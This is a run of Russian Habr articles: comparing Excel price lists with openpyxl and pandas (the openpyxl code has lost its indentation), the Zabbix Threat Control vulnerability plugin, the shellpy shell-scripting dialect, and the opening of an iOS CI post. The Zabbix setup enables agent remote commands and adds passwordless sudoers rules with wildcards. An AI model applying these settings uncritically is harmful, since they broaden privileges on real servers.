* правильно указать диапазоны из Прайсов (выделить их в Прайсах Ctrl+Shift+Enter и перенести в формулу);
* позиции товаров в финальной таблице должны идти с учетом всех выбывших и/или прибывших позиций в обоих Прайсах. Сама формула не будет искать эти позиции в Прайсах и в вставлять в итоговую. Она просто берет наименование в итоговой таблице и ищет его в Прайсах, записывая количество товара и/или его отсутствие.
Неудобно.
Посмотрим, что предлагает python.
### Python в деле
**Решение №1**
Можно пойти через использование библиотеки openpyxl и тогда решение будет выглядеть примерно так.
\*Код написан не для прайсов, но для вычисления прямого и косвенного владения в компаниях, но логика та же.
**текст программы**
```
import openpyxl,pprint
from openpyxl.utils import get_column_letter,column_index_from_string
wb = openpyxl.load_workbook('Прайс1.xlsx')
sheet=wb.get_active_sheet()
wb2 = openpyxl.load_workbook('Прайс2.xlsx')
sheet2=wb2.get_active_sheet()
h = open('struct.txt','a')
test={}
test2={}
test3=[]
poisk=str(input('компания: '))
#test - словарь из "кто владеет:номер строки)
for row in sheet['A2':'A290']:
for cellObj in row:
i = cellObj.value
b = cellObj.row
test.setdefault(i,b)
#test2 - словарь из "кем владеют:номер столбца)
for row in sheet['B1':'HH']:
for cellObj in row:
i = cellObj.value
b = cellObj.column
c = column_index_from_string(b) #переводим названия столбцов excel в цифры
test2.setdefault(i,c)
print('\n'+'прямое владение')
# прямое владение
for row1 in sheet['B2':'HH290']:
for cellObj in row1:
if cellObj.value ==None: #пропускаем пустые значения в клетках
continue
i = float (cellObj.value)/100 #A в B
s =sheet.cell(row=cellObj.row,column=1).value
if s!=poisk:
continue
d=sheet.cell(row=1,column=column_index_from_string(cellObj.column)).value #B (кем владеют)
for k,v in test.items():
for u in range (2,217): # все значения- B2:F6
if sheet.cell(row=v, column=u).value ==None:
continue
b = sheet.cell(row=v, column=u).value # % владения
q=float('{:.5f}'.format(i*100))
y=sheet.cell(row=1,column=u).value #кем владеют
p=s+' владеет '+ d +' - '+str(q)+'%'
if p not in test3:
test3.append(p)
print(p)
h.write(p+'\n')
print('\n'+'1-е косвенное участие')
# 1-е косвенное участие
for row1 in sheet['B2':'HH290']:
for cellObj in row1:
if cellObj.value ==None: #пропускаем пустые значения в клетках
continue
i = float (cellObj.value)/100 #A в B
s =sheet.cell(row=cellObj.row,column=1).value
if s!=poisk:
continue
d=sheet.cell(row=1,column=column_index_from_string(cellObj.column)).value #B (кем владеют)
for k,v in test.items():
if d in k: # если кем владеют, есть в кто владеет - то ищем по строке значение
for u in range (2,217): # все значения
if sheet.cell(row=v, column=u).value ==None:
continue
b = sheet.cell(row=v, column=u).value # % владения
q=float(i)*float(b) #процент косвенного владения A через B в С
q1=float('{:.5f}'.format(q)) #5 знаков после запятой и * 100
y=sheet.cell(row=1,column=u).value #кем владеют
print (' через '+ d + ' в ' + y +' - '+str(q1)+'%')
h.write(s+' через '+ d + ' владеет ' + y +' - '+str(q1)+'%'+'\n')
h.write('\n')
```
Программа собирает все наименования и количество товара по ячейкам в обоих Прайсах, далее заполняет итоговую таблицу excel наименованиями и, найдя по координатам, количество товара — также и значениями количества товара.
Работает. Но громоздко и легко запутаться.
**Решение №2**
Воспользуемся возможностями библиотеки pandas, если она не установлена, то pip install pandas.
Импортируем библиотеку и считаем Прайсы в датафреймы(наборы данных):
```
import pandas as pd
df1 = pd.read_excel('Прайс1-.xlsx', sheet_name = 'Лист1')
df2 = pd.read_excel('Прайс2-.xlsx', sheet_name = 'Лист1')
```
Произведем слияние датафреймов, чтобы охватить случаи, когда товары исчезают/появляются как в первом Прайсе, так и во втором:
```
m = (df1.merge(df2, how='outer', on=['товар','Количество'],
suffixes=['', '_new'], indicator=True))
m2 = (df2.merge(df1, how='outer', on=['товар','Количество'],
suffixes=['', '_new'], indicator=True))
```
Создадим третий датафрейм из запросов к двум предыдущим и уберем оттуда дубликаты:
```
m3=pd.merge(m.query("_merge=='right_only'"), m2.query("_merge=='right_only'"), how ='outer').drop_duplicates(subset=['товар','Количество'])
```
Осталось сохранить новую таблицу:
```
m3.query("_merge=='right_only'").to_excel('out.xlsx')
```
На выходе мы получаем итоговую таблицу:
Как видно, в нее не попала позиция «сок», так как в этой позиции не произошло изменений.
Обозначены позиции «пиво» со старым и новым значениями, а также учтены позиции, которые «добавились» и «пропали» в Прайсах.
Какое из решений использовать — дело вкуса.
Однако данный вариант имеет преимущества:
* не требует перевода таблиц из «read-only»;
* нет необходимости вручную выправлять формулы по столбцам и сами таблицы.
Код и примеры таблиц можно скачать — [здесь](https://disk.yandex.ru/d/nxO7988UCap7DQ).
Надеюсь, решения, приведенные в статье, окажутся полезными. | https://habr.com/ru/post/579730/ | null | ru | null |
# Zabbix как сканер безопасности
Привет! Все мы знаем и любим такие продукты для vulnerability assessment процессов как [Nessus](https://www.tenable.com/products/nessus/nessus-professional), [Qualys](https://www.qualys.com/apps/vulnerability-management/), [Max Patrol](https://www.ptsecurity.com/ru-ru/products/mp8/) и всякие прочие [OpenVAS](http://www.openvas.org). Одной из основных задач, которые они решают, является обеспечение контроля версионных уязвимостей.
Это довольно простой процесс сравнения установленных версий программного обеспечения на попадание в диапазон "не содержит известных уязвимостей". Ну а дальше ребята, ответственные за информационную безопасность, совместно с разработкой и админами решают какие риски можно принять, а что нужно пропатчить прямо сегодня.
Существует масса разнообразных инструментов для решения этой задачи, но у всех них с нашей точки зрения есть одна общая проблема — они требуют отдельного хлопотного развертывания и порождают в вашей инфраструктуре еще один инструмент с root-овой учетной записью. Но ведь для такого простого действия как сбор информации об установленных пакетах root не нужен! Да и обычно в инфраструктуре уже присутствуют развернутые системы с возможностью консолидации данных, совместной работы и удаленного исполнения команд на серверах. Поэтому мы решили сделать инструмент, который позволил бы в пару кликов развернуть в своей среде систему контроля уязвимостей Linux с минимальными изменениями продакшена.
Что развернуто в большинстве продуктовых систем? Конечно же мониторинг. И довольно часто это [Zabbix](https://www.zabbix.com). Так давайте к нему и прикрутимся!
В одной руке Zabbix
===================
Все просто: распределенная система агентов, дашборды для визуализации, многопользовательская система доступа, выполнение действий по заданным критериям уже сделаны без нас. Нам не нужно изобретать велосипед и делать это все с нуля.
Прав у Zabbix-а хватает на получение информации о пакетах, куда их сложить тоже есть. Осталось их объединить и отправить на анализ в [Vulners API](https://vulners.com/products). А затем обработать полученные знания об уязвимостях.
Но давайте начнем с небольшого вступления, что умеет Zabbix и что нам потребуется сделать.
**Zabbix-агенты** устанавливаются на сервера и позволяют:
* получать широкий диапазон метрик операционной системы;
* запускать скрипты и программы и получать результат их выполнения;
* выполнять любые команды в отдельном процессе (fork), не зависимом от процессов Zabbix-агента;
* работать сразу с несколькими Zabbix-серверами;
* работать за файерволлом, инициируя соединение к серверу или же наоборот, ожидая входящих подключений.
**Zabbix-сервер** получает на вход метрики мониторинга и записывает их в базу данных и проводит дальнейшую обработку.
Анализируя полученные данные и основываясь на достаточно гибкой логике он может выполнять различные действия:
* Отправлять оповещения по различным каналам (почта, смс, мессенджеры и т.д.);
* Подключаться к серверам по SSH или IPMI и выполнять на них различные команды;
* Или же выполнять различные корректирующие команды на серверах используя подключения к ним Zabbix-агент;
**Веб-интерфейс** написан на PHP и позволят отображать собранные Zabbix-ом метрики, графики, сработавшие оповещения о проблемах, и выполненные системой мониторинга команды и действия.
Также через веб-интерфейс осуществляется администрирование Zabbix.
**Zabbix API** является API на основе веб и поставляется как часть веб-интерфейса. Он использует протокол JSON-RPC.
* Позволяет получать, создавать, конфигурировать и удалять любые объекты в системе мониторинга.
* Используя API можно с легкостью интегрировать систему мониторинга с различными внешними системами.
Однако Zabbix ничего не знает про уязвимости! Зато про них знает [Vulners](https://vulners.com/search?query=bulletinFamily:unix%20order:published) :)
В другой руке Vulners
---------------------
* Агрегатор данных об уязвимостях из более чем 115 источников
* [Удобное API для различных способов сканирования](https://github.com/vulnersCom/api)
* Выдает данные в нормализованном, машино-читаемом виде
* Работает очень быстро
* Позволяет коррелировать данные из различных источников
Мы попробовали их друг с другом интегрировать и вот что из этого получилось.
Zabbix Threat Control
=====================
Это [плагин](https://github.com/vulnersCom/zabbix-threat-control) к Zabbix, с открытым исходным кодом, написан на Python, который:
* Отображает в веб-интерфейсе Zabbix информацию об уязвимостях, найденных в вашей инфраструктуре.
* Показывает уровень угрозы каждой уязвимости по стандарту CVSS.
* И предлагает легко применимые способы устранения найденных уязвимостей.
[CVSS](https://en.wikipedia.org/wiki/Common_Vulnerability_Scoring_System) это открытый промышленный стандарт оценки критичности уязвимости. По сути — 10 бальная шкала.
Использование данной методики позволяет привести уязвимости найденные в различных системах и обладающие разными свойствами к единому знаменателю, что упрощает приоритезацию обнаруженных проблем.
Про этот плагин мы рассказывали на [Zabbix Moscow Meetup](https://habr.com/company/badoo/blog/415299/). Для тех, кто не любит читать, но любит смотреть — есть [видео](https://www.youtube.com/watch?v=ZPX-ZGZx6zg) доклада.
Консолидируйте информацию об уязвимостях
----------------------------------------
Результат работы плагина в Zabbix выглядит следующим образом:
Это дашборд в Zabbix. На котором, слева на право, отображается следующая информация:
* Распределение CVSS-балла по серверам. Круговая диаграмма показывает соотношение — как много у нас серверов с критическими уязвимостями, сколько имеют не критичные уязвимости или же вовсе не имеют известных уязвимостей.
* Медианное значение CVSS-балла всей инфраструктуры. Отображается в виде графика, что позволяет наблюдать динамику его изменения.
* Список уязвимых пакетов с индексом влияния уязвимости на инфраструктуру.
* Полный список уязвимых серверов с уровнем угрозы для каждого из них.
* Список бюллетеней безопасности, которые были «найдены» в инфраструктуре.
Ниже более подробно про самое интересное:
**Информация об уязвимых серверах:**
Панель отображает список всех серверов с уровнем уязвимости выше критического. Минимально допустимый уровень критичности, после которого сервер начинает отображаться как уязвимый, задается в настройках плагина.
По каждому серверу доступна следующая информация:
1. Собственно имя уязвимого сервера.
2. Максимальный CVSS-балл сервера. Отображается самый высокий балл из всех найденных уязвимостей для этого сервера.
3. Команда для устранения всех обнаруженных уязвимостей на этом сервере. Выполнив которую, мы получим сервер, на котором отсутствуют известные версионные уязвимости.
Данные представлены с сортировкой по CVSS, от максимального к минимальному. Это позволяет держать сервера, требующие наибольшего внимания, всегда наверху списка, перед глазами.
**Следующая панель показывает уязвимые пакеты:**
Здесь для каждого уязвимого пакета в нашей инфраструктуре мы имеем краткую сводку:
1. Имя уязвимого пакета.
2. Уязвимая *версия* пакета.
3. Количество серверов, на которых установлена уязвимая версия пакета.
4. CVSS-балл данной версии пакета.
5. Индекс влияния этой уязвимости на инфраструктуру.
6. Список всех серверов, на которых обнаружена уязвимая версия пакета.
7. Ссылка на бюллетень безопасности. Позволяет прочитать и понять насколько эта уязвимость критична именно в нашей ситуации.
8. Команда исправляющая уязвимость в данном пакете.
Данные представлены с сортировкой по *Индексу влияния*, от максимального к минимальному.
*Индекс влияния* — это количество затронутых уязвимым пакетом серверов, умноженное на CVSS-балл уязвимости. Зачастую бывает что уязвимость с не самым выскоким балом имеет гораздо большее распространение в инфраструктуре, и поэтому потенциально более опасна.
Выбирайте стратегии устранения уязвимостей
------------------------------------------
Однако нельзя просто так взять и обновить все пакеты на всех серверах до последней версии, которая устраняет существующие уязвимости.
В любой инфраструктуре, состоящей более чем из нескольких серверов существует множество ограничений: зависимость одного софта от версии другого, риски нарушения функциональности и так далее.
Поэтому всегда стоит выбор — какие пакеты мы можем безболезненно обновить. По каким пакетам необходим отдельный план работ по реализации компенсирующих мер. А по каким мы можем принять риски.
Предлагаемый в плагине подход позволяет выбирать подходящую вам стратегию устранения уязвимостей:
* **Одна уязвимость во всей инфраструктуре:** если для вас критична какая то определенная уязвимость — плагин предоставляет вам информацию где в вашей инфраструктуре эта уязвимость существует, и каким образом ее можно исправить сразу во всей инфраструктуре.
* **Все уязвимости на определенном сервере:** если вам необходимо иметь целиком безопасный сервер, к примеру находящийся в DMZ или за периметром компании — используя плагин вы получаете информацию о том как устранить все найденные на нем уязвимости.
Устраняйте найденные уязвимости
-------------------------------
Но мало знать какие у нас уязвимости и определить как и какие из них можно устранить. Необходимо ещё и сделать это!
Для централизованного управления конфигурациями и обновления ПО широко используются такие системы как Puppet или Ansible. Вы можете использовать fix-команду, устраняющую уязвимость, и централизованно её выполнить с помощью таких систем.
Если же в вашей инфраструктуре не используются такие системы — [Zabbix Threat Control](https://github.com/vulnersCom/zabbix-threat-control) позволяет устранять уязвимости прямо из веб-интерфейса Zabbix.
Для этого плагин использует стандартный функционал Zabbix: подтверждение событий и выполнение удаленных команд:
1. Как только проблема будет подтверждена через веб-интерфейс авторизованным на это пользователем;
2. Запустится удаленная команда, которая выполнит на целевом сервере, или списке серверов, fix-команду исправляющую уязвимость.
Как это работает
----------------
1. Zabbix-сервер получает через zabbix-агенты информацию о пакетах и об операционной системе всех серверов в инфраструктуре.
2. Плагин (с помощью Zabbix API) получает ранее собранный Zabbix-сервером отчет об ОС. Непосредственно с серверов плагин ничего не получает. И на данном этапе не треует с ними прямого контакта.
3. Обработав полученную от Zabbix информацию плагин передает её в Vulners. От которого в ответ получает список найденных уязвимостей, их критичность и способ устранения.
4. Плагин обрабатывает полученные данные, агрегирует их для формирования статистики и формирует пакеты данных для передачи в Zabbix.
5. Плагин пушит в Zabbix данные в необходимом системе мониторинга формате. Делает он это с помощью утилиты zabbix-sender. После этого вы уже имеете в мониторинге все о найденных уязвимостях, которые отображаются на показанном ранее дашборде.
6. После подтверждения проблемы выполняется удаленная команда, которая передает плагину:
* Имя того, кто её инициировал
* Fix-команду исправления уязвимости
* Cписок серверов
7. Получив все это Zabbix Threat Control:
* Проверяет что команда на исправление инициирована тем, кем нужно. От того, кого не нужно — он команду не принимает :)
* Выполняет переданную ему команду на нужном количестве серверов.
По умолчанию плагин передает fix-команду на уязвимые сервера с помощью утилиты zabbix-get, обращаясь к Zabbix-агенту на целевом сервере с параметром `nowait`. Такой способ подключения позволяет процессу обновления пакетов выполняться в фоне не быть привязанным к процессам zabbix-агента. Также есть возможность выполнять команду на целевом сервере через простое SSH-подключение. Способ выполнения fix-команд выбирается опцией в конфигурацоинном файле плагина.
И как результат работы — отсутствие уязвимых серверов, ваш спокойный сон и отличное настроение :)
Установка
---------
Мы рассказали, что такое [Zabbix Threat Control](https://github.com/vulnersCom/zabbix-threat-control), зачем он нужен и как работает. Теперь расскажем как его установить и настроить!
### Зависимости
Для работы плагин не требует ничего сверхестественого. Необходимо чтобы на **Zabbix-сервере**, на который мы ставим планиг, было следующее:
* **zabbix v3.4** для использования кастомных дашбордов (они появились только в этой версии).
* **zabbix-sender** нужен для отправки в данных об уязвимостях в систему мониторинга.
* **zabbix-get** для отправки fix-команд, исправляющих уязвимости, на сервера.
* **python v3** с модулями: **pyzabbix, jpath, requests** для запуска основных скриптов плагина.
На всех **серверах, для которых требуется сканирование** на уязвимости требуется только:
* **zabbix-agent** для сбора данных и запуска скриптов.
* **python v2** для запуска скрипта собирающего отчет об ОС.
### Установка плагина из пакетов
Для начала подключаем репозиторий с пакетами:
**RPM**-дистрибутивы
```
rpm -Uhv https://repo.vulners.com/redhat/vulners-repo.rpm
```
**DEB**-дистрибутивы
```
wget https://repo.vulners.com/debian/vulners-repo.deb
dpkg -i vulners-repo.deb
```
После этого на Zabbix-сервере устанавливаем основной пакет, обеспечивающий всю логику работы плагина и пакет, формирующий отчетность об ОС:
**RPM**-дистрибутивы
```
yum install zabbix-threat-control-main zabbix-threat-control-host
```
**DEB**-дистрибутивы
```
apt-get update && apt-get install zabbix-threat-control-main zabbix-threat-control-host
```
И на всех остальных серверах, для которых требуется сканирование на уязвимости, устанавливаем пакет, формирующий отчетность об ОС:
**RPM**-дистрибутивы
```
yum install zabbix-threat-control-host
```
**DEB**-дистрибутивы
```
apt-get update && apt-get install zabbix-threat-control-host
```
### Установка из исходников
Если вы предпочитаете установку из исходиников, то сделать это тоже очень просто:
На Zabbix-сервере устанавливаем основные скрипты, обеспечивающие всю логику работы плагина и скрипт, формирующий отчетность об ОС:
```
git clone https://github.com/vulnersCom/zabbix-threat-control.git
# main
mkdir -p /opt/monitoring/zabbix-threat-control
cp zabbix-threat-control/ztc* /opt/monitoring/zabbix-threat-control/
chown -R zabbix:zabbix /opt/monitoring/zabbix-threat-control
chmod 640 /opt/monitoring/zabbix-threat-control/ztc_config.py
touch /var/log/zabbix-threat-control.log
chown zabbix:zabbix /var/log/zabbix-threat-control.log
chmod 664 /var/log/zabbix-threat-control.log
# host
cp -R zabbix-threat-control/os-report /opt/monitoring/
chown -R zabbix:zabbix /opt/monitoring/os-report
```
На всех остальных серверах, для которых требуется сканирование на уязвимости ставим только скрипт, формирующий отчетность об ОС:
```
git clone https://github.com/vulnersCom/zabbix-threat-control.git
# host
mkdir -p /opt/monitoring/
cp -R zabbix-threat-control/os-report /opt/monitoring/
chown -R zabbix:zabbix /opt/monitoring/os-report
```
Настройка
---------
После установки необходимо сконфигурировать плагин и подготовить систему мониторинга для его работы. Далее пошаговое описание всех необходимых действий.
### Настраиваем сервера, требующие сканирования
Необходимо разрешить Zabbix агенту выполнять удаленные команды. Для этого на всех серверах, для ктороых требуется сканирование, измените параметры в файле конфигурации zabbix-agent как показано ниже:
```
EnableRemoteCommands=1
LogRemoteCommands=1
```
Файл конфигурации zabbix-агента обычно расположен здесь: `/etc/zabbix/zabbix_agentd.conf`
Если вы хотите использовать функционал по устранению найденных уязвимостей с помощью *Zabbix Threat Control*, вам необходимо разрешить пользователю zabbix выполнять **обновление** пакетов (но не их установку или удаление).
Для этого необходимо добавить следующую строку в файл `/etc/sudoers`:
Для **RPM**-дистрибутивов строка выглядит так:
```
zabbix ALL=(ALL) NOPASSWD: /usr/bin/yum -y update *
```
Для **DEB**-дистрибутивов немного по-другому:
```
zabbix ALL=(ALL) NOPASSWD: /usr/bin/apt-get --assume-yes install --only-upgrade *
```
### Подключаемся к Vulners
Для использования Vulners API вам нужен api-ключ. Чтобы получить его:
* Зарегистрируйтесь на [vulners.com](https://vulners.com/)
* В личном кабинете перейдите на вкладку API KEYS
* Выберите "Scan" в области Scope и нажмите «GENERATE NEW KEY».
Вы получите api-ключ, который выглядит следующим образом: RGB9YPJG7CFAXP35PMDVYFFJPGZ9ZIRO1VGO9K9269B0K86K6XQQQR32O6007NUK
Теперь вам нужно добавить api-ключ Vulners в конфигурационный файл плагина `/opt/monitoring/zabbix-threat-control/ztc_config.py`
Пример:
```
vuln_api_key = 'RGB9YPJG7CFAXP35PMDVYFFJPGZ9ZIRO1VGO9K9269B0K86K6XQQQR32O6007NUK'
```
### Подключаемся к Zabbix
Чтобы плагин смог подключиться к Zabbix, вам нужно указать следующие данные в файле конфигурации: `/opt/monitoring/zabbix-threat-control/ztc_config.py`
* адрес веб-интерфейса Zabbix для работы с Zabbix-API;
* имя и пароль пользователя, под которым будем подключаться к Zabbix API.
доменное имя и порт Zabbix сервера для отправки данных с помощью утилиты zabbix-sender.
Пример:
```
zbx_pass = 'yourpassword'
zbx_user = 'yourlogin'
zbx_url = 'https://zabbixfront.yourdomain.com'
zbx_server_fqdn = 'zabbixserver.yourdomain.com'
zbx_server_port = '10051'
```
### Подготавливаем Zabbix
Необходимо создать в Zabbix объекты, обеспечивающие работу плагина. Для этого нужно запустить скрипт `/opt/monitoring/zabbix-threat-control/ztc_create.py`. Скрипт проверит что плагин сконфигурирован верно и, используя API создаст в Zabbix:
1. **Хост-группу**, в которую добавятся хосты, отображающие уязвимости.
2. **Шаблон**, с помощью которого собирается отчет об ОС со всех серверов.
3. **Хосты** для отображения уязвимостей по пакетам, серверам, бюллетеням и общей статистики.
4. **Экшен** для выполнения удаленных команд по исправлению уязвимостей.
5. **Дашборд** для удобного отображения все этой информации.
После создания в Zabbix всех объектов скрипт покажет:
* Ссылку на созданный дашборд в Zabbix, на котором будут отображаться уязвимости.
* Время, когда будет запускаться сканирование инфраструктуры на уязвимости.
После того, как в Zabbix буду созданы все необходимые объекты, необходимо зайти в веб-интерфейс Zabbix и слинковать только что созданный скриптом шаблон "Vulners OS-Report" со всеми теми серверами, для которых требуется сканирование на уязвимости.
После этого остается дождаться запуска плагина в указанное при инсталляции время.
Сканируем!
----------
Запуск основного скрипта обработки данных (`ztc.py`) происходит автоматически, один раз в сутки, через "Service Item..." на хосте "Vulners — Statistics" в указанное скриптом время.
Вы можете поменять время запуска плагина на любое удобное вам, изменив "Scheduling interval" в этом элементе данных. При этом необходимо откорректировать и время сбора статистики в трех элементах данных шаблона "Vulners OS-Report" – метрики в шаблоне должны срабатывать минут на 10…15 раньше, чем основная метрика "Service Item..." на хосте "Vulners — Statistics".
Время за которое будут обработаны все данные об уязвимостях зависит от количества серверов в инфраструктуре и количества установленных на них пакетов. Ориентировочно на обработку 1 тысячи серверов тратится около 30 минут.
Планы
=====
Это лишь первая версия плагина Zabbix Threat Control. И мы продолжаем его разработку.
В планах:
* Добавить на дашборд информацию по найденным в инфраструктуре CVE.
* Отказаться установки каких либо скриптов на агенты и собирать всю необходимую информацию об ОС и пакетах с помошью встроенных в Zabbix-агент ключей элементов данных.
И так как это opensource — присоединяйтесь! [Pull requests welcome :)](https://github.com/vulnersCom/zabbix-threat-control/pulls) | https://habr.com/ru/post/416137/ | null | ru | null |
# Пишем shell скрипты на Python и можно ли заменить им Bash
В этой небольшой статье речь пойдет о том, можно ли легко использовать Python для написания скриптов вместо Bash/Sh. Первый вопрос, который возникнет у читателя, пожалуй, а почему, собственно, не использовать Bash/Sh, которые специально были для этого созданы? Созданы они были достаточно давно и, на мой взгляд, имеют достаточно специфичный синтаксис, не сильно похожий на остальные языки, который достаточно сложно запомнить, если вы не администратор 50+ левела. Помните, ли вы навскидку как написать на нем простой if?
```
if [ $# -ne "$ARGCOUNT" ]
then
echo "Usage: `basename $0` filename"
exit $E_WRONGARGS
fi
```
Элементарно правда? Интуитивно понятный синтаксис. :)
Тем не менее в python эти конструкции намного проще. Каждый раз когда я пишу что то на баше, то непременно лезу в поисковик чтобы вспомнить как писать простой if, switch или что-то еще. Присвоение я уже запомнил. :) В Python все иначе. Я хоть и не пишу на нем круглые сутки, но никогда не приходилось лезть и смотреть как там сделать простой цикл, потому что синтаксис языка простой и интуитивный. Плюс ко всему он намного ближе к остальным мейнстримовым языкам типа java или c++, чем Bash/Sh.
Также в стандартной и прочих библиотеках Python есть намного более удобные библиотеки чем консольные утилиты. Скажем, вы хотите распарсить json, xml, yaml. Знаете какой я недавно видел код в баше чтобы сделать это? Правильно:
```
python -c "import json; json.loads..." :)
```
И это был не мой код. Это был код баше/питоно нейтрального человека.
То же самое с регексом, sed бесспорно удобная утилита, но как много людей помнит как правильно ее использовать? Ну кроме Lee E. McMahon, который ее создал. Да впринципе многие помнят, даже я помню как делать простые вещи. Но, на мой взгляд, в Python модуль re намного удобнее.
В этой небольшой статье я хотел бы представить вам диалект Python который называется [shellpy](https://github.com/lamerman/shellpy) и служит для того, чтобы насколько это возможно заменить Bash на python в скриптах.
Велкам под кат.
Введение
--------
Shell python ничем не отличается от простого Python кроме одной детали. Выражения внутри grave accent символов ( ` ) в отличие от Python не является eval, а обозначает выполнение команды в шелле. Например
```
`ls -l`
```
выполнит `ls -l` как shell команду. Также возможно написать все это без ` в конце строки
```
`ls -l
```
и это тоже будет корректным синтаксисом.
Можно выполнять сразу несколько команд на разных строках
```
`
echo test > test.txt
cat test.txt
`
```
и команды, занимающие несколько строк
```
`echo This is \
a very long \
line
```
Выполнение каждого выражения в shellpy возвращается объект класса Result
```
result = `ls -l
```
Это можно быть либо [Result](https://github.com/lamerman/shellpy/wiki/Simple-mode#result) либо [InteractiveResult](https://github.com/lamerman/shellpy/wiki/Interactive-mode#interactive-result) (Ссылки на гитхаб с документацией, можно и потом посмотреть :) ). Давайте начнем с простого результата. Из него можно легко получить код возврата выполненной команды
```
result = `ls -l
print result.returncode
```
И текст из stdout и stderr
```
result = `ls -l
result_text = result.stdout
result_error = result.stderr
```
Можно также пробежаться по всем строкам stdout выполненной команды в цикле
```
result = `ls -l
for line in result:
print line.upper()
```
и так далее.
Для результата есть также еще очень много синтаксического сахара. Например, мы можем легко проверить, что код возврата выполняемой команды равен нулю
```
result = `ls -l
if result:
print 'Return code for ls -l was 0'
```
Или же более простым способом получить текст из stdout
```
result = `ls -l
print result
```
Все вышеперечисленное — это обзор синтаксиса вкратце, чтобы просто понять основную идею и не грузить вас всеми-всеми деталями. Там есть еще много чего и для интерактивного взаимодействия с выполняемыми командами, для управления исполнением команд. Но это все детали, в которые можно окунуться в [документации](https://github.com/lamerman/shellpy/wiki) (на английском языке), если сама идея вам покажется интересной.
Это ж не валидный синтаксис Python получается, как все работает то?
-------------------------------------------------------------------
Магия конечно, как еще :) Да, друзья мои, мне пришлось использовать препроцессинг, каюсь, но другого способа я не нашел. Я видел другие библиотеки, которые делают нечто подобное, не нарушая синтаксиса языка вроде
```
from sh import ifconfig
print(ifconfig("wlan0"))
```
Но меня такой синтаксис не устраивал, поскольку даже несмотря на сложности, хотелось получить best user experience ©, а для меня это значит насколько это возможно простое и близкое к его величеству Шеллу написание команд.
Знакомый с темой читатель спросит, чем IPython то тебя не устроил, там ж почти как у тебя только значок другой ставить надо, может ты просто велосипедист, которому лень заглянуть в поисковик? И правда он выглядит вот так:
```
lines = !ls -l
```
Я его пытался использовать но встретил пару серьезных проблем, с которыми ужиться не смог. Самая главная из них, то что нет простого импорта как в Python. То есть ты не можешь написать какой-то код на самом ipython и легко его переиспользовать в других местах. Невозможно написать для своего ipython модуля
```
import myipythomodule
```
и чтобы все сразу заработало как в сказке. Единственный способ переиспользовать скрипт, это выполнить его. После выполнения в окружении у тебя появляются все функции и переменные, объявленные в выполняемом файле. Не кошерно на мой взгляд.
В shellpy код переиспользуется легко и импортируется точно так же как и в обычном python. Предположим у нас есть модуль common в котором мы храним очень полезный код. Заглянем в директорию с этим модулем
```
ls common/
common.spy __init__.spy
```
Итак, что у нас тут есть, ну во первых **init**, но с расширением .spy. Это и является отличительной чертой spy модуля от обычного. Посмотрим также внутрь файла common.spy, что там интересного
```
def common_func():
return `echo 5
```
Мы видим что тут объявлена функция, которая внутри себя использует shellpy синтаксис чтобы вернуть результат выполнения `echo 5. Как этот модуль используется в коде? А вот как
```
from common.common import common_func
print('Result of imported function is ' + str(common_func()))
```
Видите? Как в обычном Python, просто взяли и заимпортировали.
Как же все работает. Это работает с помощью [PEP 0302 — New Import Hooks](https://www.python.org/dev/peps/pep-0302/). Когда вы импортируете что-то в своем коде то вначале Python спрашивает у хука, нет ли тут чего-то твоего, хук просматривает PYTHONPATH на наличие файлов \*.spy или модулей shellpython. Если ничего нет, то так и говорит: "Ничего нету, импортируй сам". Если же он находит что-то там, то хук занимается импортом самостоятельно. А именно, он делает препроцессинг файла в обычный python и складывает все это добро в temp директорию операционной системы. Записав новый Python файл или модуль он добавляет его в PYTHONPATH и за дело берется уже самый обыкновенный импорт.
### Давайте же скорее посмотрим на какой-нибудь пример
Этот скрипт скачивает аватар юзера Python с Github и кладет его в temp директорию
```
import json
import os
import tempfile
# с помощью curl получает ответ от апи гитхаба
answer = `curl https://api.github.com/users/python
# синтаксический сахар чтобы сравнить результат выполнение с нулем
if answer:
answer_json = json.loads(answer.stdout)
avatar_url = answer_json['avatar_url']
destination = os.path.join(tempfile.gettempdir(), 'python.png')
# в этот раз скачиваем саму картинку
result = `curl {avatar_url} > {destination}
if result:
# если проблем не возникло, то показываем картинку
p`ls -l {destination}
else:
print('Failed to download avatar')
print('Avatar downloaded')
else:
print('Failed to access github api')
```
Красота...
### Установка
Shellpython можно установить двумя способами: `pip install shellpy` или склонировав [репозиторий](https://github.com/lamerman/shellpy) и выполнив `setup.py install`. После этого у вас появится утилита `shellpy`.
### Запустим же что-нибудь
После установки можно потестировать shellpython на примерах, которые доступны прямо в репозитории.
```
shellpy example/curl.spy
shellpy example/git.spy
```
Также здесь есть allinone примеры, которые называются так, потому что тестируют все-все функции, которые есть в shellpy. Загляните туда, чтобы лучше узнать что же там еще такого есть, либо просто выполните
```
shellpy example/allinone/test.spy
```
Для третьего Python команда выглядит вот так
```
shellpy example/allinone/test3.spy
```
### Совместимость
Это работает на Linux и должно работать на Mac для Python 2.x и 3.x. На виндовсе пока не работает, но проблем никаких для работы нет, так как все писалось с использованием кроссплатформенных библиотек и ничего платформоспецифичного в коде нет. Просто не дошли руки еще, чтобы потестировать на виндовсе. Мака у меня тоже нет, но вроде у друга работало :) Если у вас есть мак и у вас все нормально, скажите пожалуйста.
Если найдете проблемы — пишите в коммент, либо сюда [](https://gitter.im/lamerman/shellpy?utm_source=badge&utm_medium=badge&utm_campaign=pr-badge&utm_content=badge) либо телеграфируйте как-нибудь :)
### Документация (на английском)
[Wiki](https://github.com/lamerman/shellpy/wiki)
### Можно ли законтрибьютить
Конечно :)
### Оно мне ничего в продакшене не разломает?
Сейчас версия 0.4.0, это не стейбл и продакшн процессы пока лучше не завязывать на скрипт, подождав пока все отладится. Но в девелопменте, CI можно использовать вполне. Все это покрыто тестами и работает :) [](https://travis-ci.org/lamerman/shellpy)
### P.s.
Пишите ваши отзывы об идее в целом и о реализации в частности, а также о проблемах, пожеланиях, всех рад услышать :) Заводите [Issues](https://github.com/lamerman/shellpy/issues) еще в гитхабе, там их уже много :) | https://habr.com/ru/post/277679/ | null | ru | null |
# Как мы автоматизируем iOS: настройка Gitlab CI + Fastlane + Firebase + ItunesConnect
В основном идея использования CI/CD для iOS, да и для других платформ, — это автоматизация рутинной работы. Когда мы работаем над одним приложением, можем вручную собирать небольшой проект. Но команда растёт, хочется тратить время эффективнее, чем вручную собирать проект или объяснять новичкам, что же там с Code-signing нужно делать.
Пожалуй, самое рутинное и самое важное занятие, которое берёт на себя CI, — это прогон тестов. Нет зелёных тестов? В master не попадёшь. А с ростом команды вероятность того, что кто-то вольёт в master нерабочий код, будет только увеличиваться. Нужна автоматизация.
